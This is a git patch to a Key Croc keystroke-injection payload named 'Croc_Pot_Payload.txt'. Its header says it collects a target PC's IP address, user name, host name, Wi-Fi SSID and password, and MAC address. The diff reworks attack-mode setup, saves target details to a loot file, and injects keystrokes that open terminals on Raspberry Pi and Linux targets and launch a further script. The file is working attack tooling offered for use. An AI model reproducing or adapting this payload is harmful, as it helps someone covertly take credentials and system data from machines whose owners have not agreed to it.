From 9ef4d3f8dab5379a470af633699c8e895a80d263 Mon Sep 17 00:00:00 2001
From: spywill <spywill@gmail.com>
Date: Fri, 27 May 2022 05:05:53 -0400
Subject: [PATCH] Update Croc_Pot_Payload.txt

update for raspberry pi 4 for starting terminal
some clean up
---
 .../general/Croc_Pot/Croc_Pot_Payload.txt     | 57 +++++--------------
 1 file changed, 14 insertions(+), 43 deletions(-)

diff --git a/payloads/library/general/Croc_Pot/Croc_Pot_Payload.txt b/payloads/library/general/Croc_Pot/Croc_Pot_Payload.txt
index 71e8b38..e815f39 100644
--- a/payloads/library/general/Croc_Pot/Croc_Pot_Payload.txt
+++ b/payloads/library/general/Croc_Pot/Croc_Pot_Payload.txt
@@ -3,7 +3,7 @@
 #                This will collect some data off target PC (ip address, current user name, pc host name, ssid and passwd, mac address)
 #                save to tools/Croc_pot folder
 # Author:        Spywill
-# Version:       1.3.6
+# Version:       1.3.8
 # Category:      Key Croc
 
 MATCH crocpot
@@ -32,7 +32,6 @@ fi
 
 #---> Payload variable/remove existing OS detection
 CROC_OS=/root/udisk/tools/Croc_Pot/Croc_OS.txt
-cat > ${CROC_OS}
 rm /root/udisk/tools/Croc_Pot/Croc_OS_Target.txt /root/udisk/tools/Croc_Pot/shark_ip.txt
 
 #---> Enter ethernet mode for OS detection
@@ -40,10 +39,10 @@ ATTACKMODE AUTO_ETHERNET
 LED ATTACK
 
 #---> Keycroc built in functions to retrieve target PC Loot
-GET TARGET_OS
-GET TARGET_IP
-GET HOST_IP
-GET TARGET_HOSTNAME
+#---> Save Keycroc built in functions to tools/Croc_Pot/Croc_OS.txt
+GET TARGET_OS && echo "$TARGET_OS" | tee ${CROC_OS}
+GET TARGET_IP && echo "$TARGET_IP" | tee -a ${CROC_OS}
+GET TARGET_HOSTNAME && echo "$TARGET_HOSTNAME" | tee -a ${CROC_OS}
 
 #---> After OS detection case TARGET_OS value
 case $TARGET_OS in
@@ -127,15 +126,13 @@ WINDOWS)
 	Q STRING "${CROC_PW}"
 	Q ENTER
 	sleep 2
-	#---> Save Keycroc built in functions to tools/Croc_Pot/Croc_OS.txt
-	echo "$TARGET_OS" >> ${CROC_OS}
-	echo "$TARGET_IP" >> ${CROC_OS}
-	echo "$TARGET_HOSTNAME" >> ${CROC_OS}
-	echo "$HOST_IP" >> ${CROC_OS}
-	#---> Edit with sed to remove powershell output "r" endlines & sed return only readable character & replace "-" with ":"
+	#---> sed to remove powershell output "\r" endlines
 	$(sed -i 's/\r//g' /root/udisk/tools/Croc_Pot/Croc_OS_Target.txt /root/udisk/tools/Croc_Pot/shark_ip.txt /root/udisk/tools/Croc_Pot/squirrel_mac.txt /root/udisk/tools/Croc_Pot/turtle_mac.txt /root/udisk/tools/Croc_Pot/bunny_mac.txt)
+	#---> sed to return only readable character
 	$(sed -i $'s/[^[:print:]\t]//g' /root/udisk/tools/Croc_Pot/Croc_OS_Target.txt /root/udisk/tools/Croc_Pot/shark_ip.txt /root/udisk/tools/Croc_Pot/squirrel_mac.txt /root/udisk/tools/Croc_Pot/turtle_mac.txt /root/udisk/tools/Croc_Pot/bunny_mac.txt)
+	#---> sed to remove powershell output first "?" character
 	$(sed -i '0,/./s/^.//' /root/udisk/tools/Croc_Pot/Croc_OS_Target.txt /root/udisk/tools/Croc_Pot/shark_ip.txt /root/udisk/tools/Croc_Pot/squirrel_mac.txt /root/udisk/tools/Croc_Pot/bunny_mac.txt /root/udisk/tools/Croc_Pot/turtle_mac.txt)
+	#---> sed to replace "-" with ":"
 	$(sed -i 's/-/:/g' /root/udisk/tools/Croc_Pot/shark_ip.txt /root/udisk/tools/Croc_Pot/squirrel_mac.txt /root/udisk/tools/Croc_Pot/turtle_mac.txt /root/udisk/tools/Croc_Pot/bunny_mac.txt)
 	#---> Starting Croc_Pot
 	Q STRING "/root/udisk/tools/Croc_Pot.sh"
@@ -159,11 +156,6 @@ MACOS)
 	Q STRING "${CROC_PW}"
 	Q ENTER
 	sleep 1
-	#---> Save Keycroc built in functions to tools/Croc_Pot/Croc_OS.txt
-	echo "$TARGET_OS" >> ${CROC_OS}
-	echo "$TARGET_IP" >> ${CROC_OS}
-	echo "$TARGET_HOSTNAME" >> ${CROC_OS}
-	echo "$HOST_IP" >> ${CROC_OS}
 	#---> Starting Croc_Pot
 	Q STRING "/root/udisk/tools/Croc_Pot.sh"
 	Q ENTER ;;
@@ -175,18 +167,9 @@ LINUX)
 	#---> After TARGET_HOSTNAME scan case TARGET_HOSTNAME value
 	case $TARGET_HOSTNAME in
 raspberrypi)
-	#---> Copy LXTerminal to desktop
-	Q GUI d
-	Q CONTROL-ALT-F1
-	sleep 1
-	Q STRING "cp -u /usr/share/applications/lxterminal.* /home/\$(whoami)/Desktop"
-	Q ENTER
-	Q ALT-F7
 	#---> Start Raspberry pi 4 LXTerminal
-	sleep 1
-	Q STRING "LXTerminal"
-	Q ENTER
-	Q ENTER
+	Q CONTROL-ALT-d
+	Q CONTROL-ALT-t
 	sleep 2
 	#---> Place keycroc usb drive into variable
 	Q STRING "PC_USER=/media/\$(whoami)/KeyCroc/tools/Croc_Pot/Croc_OS_Target.txt"
@@ -242,11 +225,7 @@ raspberrypi)
 	#---> Entering keycroc passwd
 	Q STRING "${CROC_PW}"
 	Q ENTER
-	#---> Save Keycroc built in functions to tools/Croc_Pot/Croc_OS.txt
-	echo "$TARGET_OS" | tee -a ${CROC_OS}
-	echo "$TARGET_IP" | tee -a ${CROC_OS}
-	echo "$TARGET_HOSTNAME" | tee -a ${CROC_OS}
-	echo "$HOST_IP" | tee -a ${CROC_OS}
+	sleep 1
 	#---> Starting Croc_Pot
 	Q STRING "/root/udisk/tools/Croc_Pot.sh"
 	Q ENTER ;;
@@ -326,11 +305,7 @@ parrot)
 	#---> Entering keycroc passwd
 	Q STRING "${CROC_PW}"
 	Q ENTER
-	#---> Save Keycroc built in functions to tools/Croc_Pot/Croc_OS.txt
-	echo "$TARGET_OS" | tee -a ${CROC_OS}
-	echo "$TARGET_IP" | tee -a ${CROC_OS}
-	echo "$TARGET_HOSTNAME" | tee -a ${CROC_OS}
-	echo "$HOST_IP" | tee -a ${CROC_OS}
+	sleep 1
 	#---> Starting Croc_Pot
 	Q STRING "/root/udisk/tools/Croc_Pot.sh"
 	Q ENTER ;;
@@ -411,11 +386,7 @@ parrot)
 	#---> Entering keycroc passwd
 	Q STRING "${CROC_PW}"
 	Q ENTER
-	#---> Save Keycroc built in functions to tools/Croc_Pot/Croc_OS.txt
-	echo "$TARGET_OS" | tee -a ${CROC_OS}
-	echo "$TARGET_IP" | tee -a ${CROC_OS}
-	echo "$TARGET_HOSTNAME" | tee -a ${CROC_OS}
-	echo "$HOST_IP" | tee -a ${CROC_OS}
+	sleep 1
 	#---> Starting Croc_Pot
 	Q STRING "/root/udisk/tools/Croc_Pot.sh"
 	Q ENTER ;;